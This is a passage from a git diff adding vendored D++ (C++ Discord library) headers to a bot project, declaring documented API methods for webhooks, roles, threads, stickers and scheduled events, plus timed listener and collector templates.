confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void execute_webhook(const class webhook &wh, const struct message &m, bool wait = false, snowflake thread_id = 0, command_completion_event_t callback = {}); + + /** + * @brief Get webhook message + * + * @param wh Webhook to get the original message for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_webhook_message(const class webhook &wh, command_completion_event_t callback = {}); + + /** + * @brief Edit webhook message + * + * @param wh Webhook to edit message for + * @param m New message + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void edit_webhook_message(const class webhook &wh, const struct message &m, command_completion_event_t callback = {}); + + /** + * @brief Delete webhook message + * + * @param wh Webhook to delete message for + * @param message_id Message ID to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void delete_webhook_message(const class webhook &wh, snowflake message_id, command_completion_event_t callback = {}); + + /** + * @brief Get a role for a guild + * + * @param guild_id Guild ID to get role for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::role_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void roles_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Create a role on a guild + * + * Create a new role for the guild. Requires the `MANAGE_ROLES` permission. Returns the new role object on success. + * Fires a `Guild Role Create` Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param r Role to create (guild ID is encapsulated in the role object) + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::role object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void role_create(const class role &r, command_completion_event_t callback = {}); + + /** + * @brief Edit a role on a guild + * + * Requires the `MANAGE_ROLES` permission. Returns the updated role on success. Fires a `Guild Role Update` Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param r Role to edit + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::role object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void role_edit(const class role &r, command_completion_event_t callback = {}); + + /** + * @brief Edit a role's position in a guild + * + * Modify the positions of a set of role objects for the guild. Requires the `MANAGE_ROLES` permission. + * Fires multiple `Guild Role Update` Gateway events. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param r Role to change position of + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::role object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void role_edit_position(const class role &r, command_completion_event_t callback = {}); + + /** + * @brief Delete a role + * + * Requires the `MANAGE_ROLES` permission. Fires a `Guild Role Delete` Gateway event. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * @param guild_id Guild ID to delete the role on + * @param role_id Role ID to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void role_delete(snowflake guild_id, snowflake role_id, command_completion_event_t callback = {}); + + /** + * @brief Get a user by id + * + * @param user_id User ID to retrieve + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::user_identified object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + * @note The user_identified object is a subclass of dpp::user which contains further details if you have the oauth2 identify or email scopes. + * If you do not have these scopes, these fields are empty. You can safely convert a user_identified to user with `dynamic_cast`. + */ + void user_get(snowflake user_id, command_completion_event_t callback); + + /** + * @brief Get current (bot) user + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::user_identified object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + * @note The user_identified object is a subclass of dpp::user which contains further details if you have the oauth2 identify or email scopes. + * If you do not have these scopes, these fields are empty. You can safely convert a user_identified to user with `dynamic_cast`. + */ + void current_user_get(command_completion_event_t callback); + + /** + * @brief Get current (bot) application + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::application object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void current_application_get(command_completion_event_t callback); + + /** + * @brief Get current user's connections (linked accounts, e.g. steam, xbox). + * This call requires the oauth2 `connections` scope and cannot be executed + * against a bot token. + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::connection_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void current_user_connections_get(command_completion_event_t callback); + + /** + * @brief Get current (bot) user guilds + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::guild_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void current_user_get_guilds(command_completion_event_t callback); + + /** + * @brief Edit current (bot) user + * + * Modifies the current member in a guild. Returns the updated guild_member object on success. + * Fires a `Guild Member Update` Gateway event. + * + * @param nickname Nickname to set + * @param image_blob Avatar data to upload (NOTE: Very heavily rate limited!) + * @param type Type of image for avatar + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::user object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + * @throw dpp::exception Image data is larger than the maximum size of 256 kilobytes + */ + void current_user_edit(const std::string &nickname, const std::string& image_blob = "", const image_type type = i_png, command_completion_event_t callback = {}); + + /** + * @brief Get current user DM channels + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::channel_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void current_user_get_dms(command_completion_event_t callback); + + /** + * @brief Create a dm channel + * + * @param user_id User ID to create DM channel with + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::channel object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void create_dm_channel(snowflake user_id, command_completion_event_t callback = {}); + + /** + * @brief Leave a guild + * + * @param guild_id Guild ID to leave + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void current_user_leave_guild(snowflake guild_id, command_completion_event_t callback = {}); + + /** + * @brief Create a thread + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param thread_name Name of the thread + * @param channel_id Channel in which thread to create + * @param auto_archive_duration Duration after which thread auto-archives. Can be set to - 60, 1440 (for boosted guilds can also be: 4320, 10080) + * @param thread_type Type of thread - GUILD_PUBLIC_THREAD, GUILD_NEWS_THREAD, GUILD_PRIVATE_THREAD + * @param invitable whether non-moderators can add other non-moderators to a thread; only available when creating a private thread + * @param rate_limit_per_user amount of seconds a user has to wait before sending another message (0-21600); bots, as well as users with the permission manage_messages, manage_thread, or manage_channel, are unaffected + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::thread object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void thread_create(const std::string& thread_name, snowflake channel_id, uint16_t auto_archive_duration, channel_type thread_type, bool invitable, uint16_t rate_limit_per_user, command_completion_event_t callback = {}); + + /** + * @brief Create a thread with a message (Discord: ID of a thread is same as message ID) + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param thread_name Name of the thread + * @param channel_id Channel in which thread to create + * @param message_id message to start thread with + * @param auto_archive_duration Duration after which thread auto-archives. Can be set to - 60, 1440 (for boosted guilds can also be: 4320, 10080) + * @param rate_limit_per_user amount of seconds a user has to wait before sending another message (0-21600); bots, as well as users with the permission manage_messages, manage_thread, or manage_channel, are unaffected + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::thread object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void thread_create_with_message(const std::string& thread_name, snowflake channel_id, snowflake message_id, uint16_t auto_archive_duration, uint16_t rate_limit_per_user, command_completion_event_t callback = {}); + + /** + * @brief Join a thread + * + * @param thread_id Thread ID to join + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void current_user_join_thread(snowflake thread_id, command_completion_event_t callback = {}); + + /** + * @brief Leave a thread + * + * @param thread_id Thread ID to leave + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void current_user_leave_thread(snowflake thread_id, command_completion_event_t callback = {}); + + /** + * @brief Add a member to a thread + * + * @param thread_id Thread ID to add to + * @param user_id Member ID to add + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void thread_member_add(snowflake thread_id, snowflake user_id, command_completion_event_t callback = {}); + + /** + * @brief Remove a member from a thread + * + * @param thread_id Thread ID to remove from + * @param user_id Member ID to remove + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void thread_member_remove(snowflake thread_id, snowflake user_id, command_completion_event_t callback = {}); + + /** + * @brief Get a thread member + * + * @param thread_id Thread to get member for + * @param user_id ID of the user to get + * @param callback Function to call when the API call completes + * On success the callback will contain a dpp::thread_member object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void thread_member_get(const snowflake thread_id, const snowflake user_id, command_completion_event_t callback); + + /** + * @brief Get members of a thread + * + * @param thread_id Thread to get members for + * @param callback Function to call when the API call completes + * On success the callback will contain a dpp::thread_member_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void thread_members_get(snowflake thread_id, command_completion_event_t callback); + + /** + * @brief Get active threads in a channel (Sorted by ID in descending order) + * + * @param channel_id Channel to get active threads for + * @param callback Function to call when the API call completes + * On success the callback will contain a dpp::thread_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void threads_get_active(snowflake channel_id, command_completion_event_t callback); + + /** + * @brief Get public archived threads in a channel (Sorted by archive_timestamp in descending order) + * + * @param channel_id Channel to get public archived threads for + * @param before_timestamp Get threads before this timestamp + * @param limit Number of threads to get + * @param callback Function to call when the API call completes + * On success the callback will contain a dpp::thread_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void threads_get_public_archived(snowflake channel_id, time_t before_timestamp, uint16_t limit, command_completion_event_t callback); + + /** + * @brief Get private archived threads in a channel (Sorted by archive_timestamp in descending order) + * + * @param channel_id Channel to get public archived threads for + * @param before_timestamp Get threads before this timestamp + * @param limit Number of threads to get + * @param callback Function to call when the API call completes + * On success the callback will contain a dpp::thread_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void threads_get_private_archived(snowflake channel_id, time_t before_timestamp, uint16_t limit, command_completion_event_t callback); + + /** + * @brief Get private archived threads in a channel which current user has joined (Sorted by ID in descending order) + + * + * @param channel_id Channel to get public archived threads for + * @param before_id Get threads before this id + * @param limit Number of threads to get + * @param callback Function to call when the API call completes + * On success the callback will contain a dpp::thread_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void threads_get_joined_private_archived(snowflake channel_id, snowflake before_id, uint16_t limit, command_completion_event_t callback); + + /** + * @brief Create a sticker in a guild + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param s Sticker to create. Must have its guild ID set. + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::sticker object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_sticker_create(sticker &s, command_completion_event_t callback = {}); + + /** + * @brief Modify a sticker in a guild + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param s Sticker to modify. Must have its guild ID and sticker ID set. + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::sticker object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_sticker_modify(sticker &s, command_completion_event_t callback = {}); + + /** + * @brief Delete a sticker from a guild + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param sticker_id sticker ID to delete + * @param guild_id guild ID to delete from + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::sticker object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_sticker_delete(snowflake sticker_id, snowflake guild_id, command_completion_event_t callback = {}); + + /** + * @brief Get a nitro sticker + * + * @param id Id of sticker to get. + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::sticker object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void nitro_sticker_get(snowflake id, command_completion_event_t callback); + + /** + * @brief Get a guild sticker + * + * @param id Id of sticker to get. + * @param guild_id Guild ID of the guild where the sticker is + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::sticker object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_sticker_get(snowflake id, snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get all guild stickers + * + * @param guild_id Guild ID of the guild where the sticker is + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::sticker object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_stickers_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get sticker packs + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::sticker object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void sticker_packs_get(command_completion_event_t callback); + + /** + * @brief Create a stage instance on a stage channel. + * + * @param instance Stage instance to create + * @param callback User function to execute when the api call completes + * On success the callback will contain a dpp::stage_instance object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + */ + void stage_instance_create(const stage_instance& instance, command_completion_event_t callback = {}); + + /** + * @brief Get the stage instance associated with the channel id, if it exists. + * + * @param channel_id ID of the associated channel + * @param callback User function to execute when the api call completes + * On success the callback will contain a dpp::stage_instance object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void stage_instance_get(const snowflake channel_id, command_completion_event_t callback); + + /** + * @brief Edit a stage instance. + * + * @param instance Stage instance to edit + * @param callback User function to execute when the api call completes + * On success the callback will contain a dpp::stage_instance object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + */ + void stage_instance_edit(const stage_instance& instance, command_completion_event_t callback = {}); + + /** + * @brief Delete a stage instance. + * + * @param channel_id ID of the associated channel + * @param callback User function to execute when the api call completes + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + */ + void stage_instance_delete(const snowflake channel_id, command_completion_event_t callback = {}); + + /** + * @brief Get all voice regions + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::voiceregion_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_voice_regions(command_completion_event_t callback); + + /** + * @brief Get the gateway information for the bot using the token + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::gateway object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void get_gateway_bot(command_completion_event_t callback); + + /** + * @brief Get all scheduled events for a guild + * + * @param guild_id Guild to get events for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::scheduled_event_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_events_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get users RSVP'd to an event + * + * @param guild_id Guild to get user list for + * @param event_id Guild to get user list for + * @param limit Maximum number of results to return + * @param before Return user IDs that fall before this ID, if provided + * @param after Return user IDs that fall after this ID, if provided + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::user_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_event_users_get(snowflake guild_id, snowflake event_id, command_completion_event_t callback, uint8_t limit = 100, snowflake before = 0, snowflake after = 0); + + /** + * @brief Create a scheduled event on a guild + * + * @param event Event to create (guild ID must be populated) + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::scheduled_event_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_event_create(const scheduled_event& event, command_completion_event_t callback = {}); + + /** + * @brief Delete a scheduled event from a guild + * + * @param event_id Event ID to delete + * @param guild_id Guild ID of event to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_event_delete(snowflake event_id, snowflake guild_id, command_completion_event_t callback = {}); + + /** + * @brief Edit/modify a scheduled event on a guild + * + * @param event Event to create (event ID and guild ID must be populated) + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::scheduled_event_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_event_edit(const scheduled_event& event, command_completion_event_t callback = {}); + + /** + * @brief Get a scheduled event for a guild + * + * @param guild_id Guild to get event for + * @param event_id Event ID to get + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::scheduled_event object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_event_get(snowflake guild_id, snowflake event_id, command_completion_event_t callback); + + /** + * @brief Set the bot's voice state on a stage channel + * + * **Caveats** + * + * There are currently several caveats for this endpoint: + * + * - `channel_id` must currently point to a stage channel. + * - current user must already have joined `channel_id`. + * - You must have the `MUTE_MEMBERS` permission to unsuppress yourself. You can always suppress yourself. + * - You must have the `REQUEST_TO_SPEAK` permission to request to speak. You can always clear your own request to speak. + * - You are able to set `request_to_speak_timestamp` to any present or future time. + * + * @param guild_id Guild to set voice state on + * @param channel_id Stage channel to set voice state on + * @param callback Function to call when the API call completes. + * @param suppress True if the user's audio should be suppressed, false if it should not + * @param request_to_speak_timestamp The time at which we requested to speak, or 0 to clear the request. The time set here must be the current time or in the future. + * On success the callback will contain a dpp::scheduled_event object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + * @throw std::logic_exception You attempted to set a request_to_speak_timestamp in the past which is not the value of 0. + */ + void current_user_set_voice_state(snowflake guild_id, snowflake channel_id, bool suppress = false, time_t request_to_speak_timestamp = 0, command_completion_event_t callback = {}); + + /** + * @brief Set a user's voice state on a stage channel + * + * **Caveats** + * + * There are currently several caveats for this endpoint: + * + * - `channel_id` must currently point to a stage channel. + * - User must already have joined `channel_id`. + * - You must have the `MUTE_MEMBERS` permission. (Since suppression is the only thing that is available currently) + * - When unsuppressed, non-bot users will have their `request_to_speak_timestamp` set to the current time. Bot users will not. + * - When suppressed, the user will have their `request_to_speak_timestamp` removed. + * + * @param user_id The user to set the voice state of + * @param guild_id Guild to set voice state on + * @param channel_id Stage channel to set voice state on + * @param callback Function to call when the API call completes. + * @param suppress True if the user's audio should be suppressed, false if it should not + * On success the callback will contain a dpp::scheduled_event object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void user_set_voice_state(snowflake user_id, snowflake guild_id, snowflake channel_id, bool suppress = false, command_completion_event_t callback = {}); + +}; + +/** + * @brief A timed_listener is a way to temporarily attach to an event for a specific timeframe, then detach when complete. + * A lambda may also be optionally called when the timeout is reached. Destructing the timed_listener detaches any attached + * event listeners, and cancels any created timers, but does not call any timeout lambda. + * + * @tparam attached_event Event within cluster to attach to within the cluster::dispatch member (dpp::dispatcher object) + * @tparam listening_function Definition of lambda function that matches up with the attached_event. + */ +template class timed_listener +{ +private: + /// Owning cluster + cluster* owner; + + /// Duration of listen + time_t duration; + + /// Reference to attached event in cluster + //event_router_t on_thread_member_update; + attached_event& ev; + + /// Timer handle + timer th; + + /// Event handle + event_handle listener_handle; + +public: + /** + * @brief Construct a new timed listener object + * + * @param cl Owning cluster + * @param _duration Duration of timed event in seconds + * @param event Event to hook, e.g. cluster->dispatch.message_create + * @param on_end An optional void() lambda to trigger when the timed_listener times out. + * Calling the destructor before the timeout is reached does not call this lambda. + * @param listener Lambda to receive events. Type must match up properly with that passed into the 'event' parameter. + */ + timed_listener(cluster* cl, uint64_t _duration, attached_event& event, listening_function listener, timer_callback_t on_end = {}) + : owner(cl), duration(_duration), ev(event) + { + /* Attach event */ + listener_handle = ev(listener); + /* Create timer */ + th = cl->start_timer([this]() { + /* Timer has finished, detach it from event. + * Only allowed to tick once. + */ + owner->stop_timer(th); + ev.detach(listener_handle); + }, duration, on_end); + } + + /** + * @brief Destroy the timed listener object + */ + ~timed_listener() { + /* Stop timer and detach event, but do not call on_end */ + owner->stop_timer(th); + ev.detach(listener_handle); + } +}; + +/** + * @brief Collects objects from events during a specified time period. + * + * This template must be specialised. There are premade specialisations which you can use + * such as dpp::reaction_collector and dpp::message_collector. For these specalised instances + * all you need to do is derive a simple class from them which implements collector::completed(). + * + * A collector will run for the specified number of seconds, attaching itself to the + * given event. During this time any events pass through the collector and collector::filter(). + * This function can return a pointer to an object to allow a copy of that object to be stored + * to a vector, or it can return nullptr to do nothing with that object. For example a collector + * attached to on_message_create would receive an event with the type message_create_t, and from + * this may decide to extract the message_create_t::msg structure, returning a pointer to it, or + * instead may choose to return a nullptr. + * + * When either the predetermined timeout is reached, or the collector::cancel() method is called, + * or the collector is destroyed, the collector::completed() method is called, which will be + * passed a list of collected objects in the order they were collected. + * + * @tparam T parameter type of the event this collector will monitor + * @tparam C object type this collector will store + */ +template class collector +{ +protected: + /// Owning cluster + class cluster* owner; +private: + /// Timed listener + timed_listener, std::function>* tl; + /// stored list + std::vector stored; + /// Trigger flag + bool triggered; +public: + /** + * @brief Construct a new collector object. + * + * The timer for the collector begins immediately on construction of the object. + * + * @param cl Pointer to cluster which manages this collector + * @param duration Duration in seconds to run the collector for + * @param event Event to attach to, e.g. cluster::on_message_create + */ + collector(class cluster* cl, uint64_t duration, event_router_t & event) : owner(cl), triggered(false) { + using namespace std::placeholders; + std::function f = [this](const T& event) { + const C* v = filter(event); + if (v) { + stored.push_back(*v); + } + }; + tl = new dpp::timed_listener, std::function>(cl, duration, event, f, [this]() { + if (!triggered) { + triggered = true; + completed(stored); + } + }); + } + + /** + * @brief You must implement this function to receive the completed list of + * captured objects. + * @param list The list of captured objects in captured order + */ + virtual void completed(const std::vector& list) = 0; + + /** + * @brief Filter the list of elements. + * + * Every time an event is fired on the collector, this method wil be called + * to determine if we should add an object to the list or not. This function + * can then process the `element` value, extract the parts which are to be + * saved to a list (e.g. a dpp::message out of a dpp::message_create_t) and + * return it as the return value. Returning a value of nullptr causes no + * object to be stored. + * + * Here is an example of how to filter messages which have specific text in them. + * This should be used with the specialised type dpp::message_collector + * + * ```cpp + * virtual const dpp::message* filter(const dpp::message_create_t& m) { + * if (m.msg.content.find("something i want") != std::string::npos) { + * return &m.msg; + * } else { + * return nullptr; + * } + * } + * ``` + * + * @param element The event data to filter + * @return const C* Returned object or nullptr + */ + virtual const C* filter(const T& element) = 0; + + /** + * @brief Immediately cancels the collector. + * + * Use this if you have met the conditions for which you are collecting objects + * early, e.g. you were watching for a message containing 'yes' or 'no' and have + * received it before the time is up. + * + * @note Causes calling of the completed() method if it has not yet been called. + */ + virtual void cancel() { + delete tl; + tl = nullptr; + } + + /** + * @brief Destroy the collector object. + * @note Causes calling of the completed() method if it has not yet been called. + */ + virtual ~collector() { + delete tl; + } +}; + + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/commandhandler.h b/MyBot/dependencies/include/dpp-9.0/dpp/commandhandler.h new file mode 100644 index 0000000..2548f61 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/commandhandler.h @@ -0,0 +1,365 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include + +namespace dpp { + + /** + * @brief dpp::resolved_user contains both a dpp::guild_member and a dpp::user. + * The user can be used to obtain in-depth user details such as if they are nitro, + * and the guild member information to check their roles on a guild etc. + * The Discord API provides both if a parameter is a user ping, + * so we offer both in a combined structure. + */ + struct DPP_EXPORT resolved_user { + /** + * @brief Holds user information + */ + dpp::user user; + /** + * @brief Holds member information + */ + dpp::guild_member member; + }; + + /** + * @brief Represents a received parameter. + * We use variant so that multiple non-related types can be contained within. + */ + typedef std::variant command_parameter; + + /** + * @brief Parameter types when registering a command. + * We don't pass these in when triggering the command in the handler, because it is + * expected the developer added the command so they know what types to expect for each named + * parameter. + */ + enum parameter_type { + pt_string, //!< String value + pt_role, //!< Role object + pt_channel, //!< Channel object + pt_user, //!< User object + pt_integer, //!< 64 bit signed integer + pt_double, //!< double floating point + pt_boolean //!< boolean + }; + + /** + * @brief Details of a command parameter used in registration. + * Note that for non-slash commands optional parameters can only be at the end of + * the list of parameters. + */ + struct DPP_EXPORT param_info { + + /** + * @brief Type of parameter + */ + parameter_type type; + + /** + * @brief True if the parameter is optional. + * For non-slash commands optional parameters may only be on the end of the list. + */ + bool optional; + + /** + * @brief Description of command. Displayed only for slash commands + */ + std::string description; + + /** + * @brief Allowed multiple choice options. + * The key name is the string passed to the command handler + * and the key value is its description displayed to the user. + */ + std::map choices; + + /** + * @brief Construct a new param_info object + * + * @param t Type of parameter + * @param o True if parameter is optional + * @param description The parameter description + * @param opts The options for a multiple choice parameter + */ + param_info(parameter_type t, bool o, const std::string& description, const std::map& opts = {}); + }; + + /** + * @brief Parameter list used during registration. + * Note that use of vector/pair is important here to preserve parameter order, + * as opposed to unordered_map (which doesnt guarantee any order at all) and + * std::map, which reorders keys alphabetically. + */ + typedef std::vector> parameter_registration_t; + + /** + * @brief Parameter list for a called command. + * See dpp::parameter_registration_t for an explanation as to why vector is used. + */ + typedef std::vector> parameter_list_t; + + /** + * @brief Represents the sending source of a command. + * This is passed to any command handler and should be passed back to + * commandhandler::reply(), allowing the reply method to route any replies back + * to the origin, which may be a 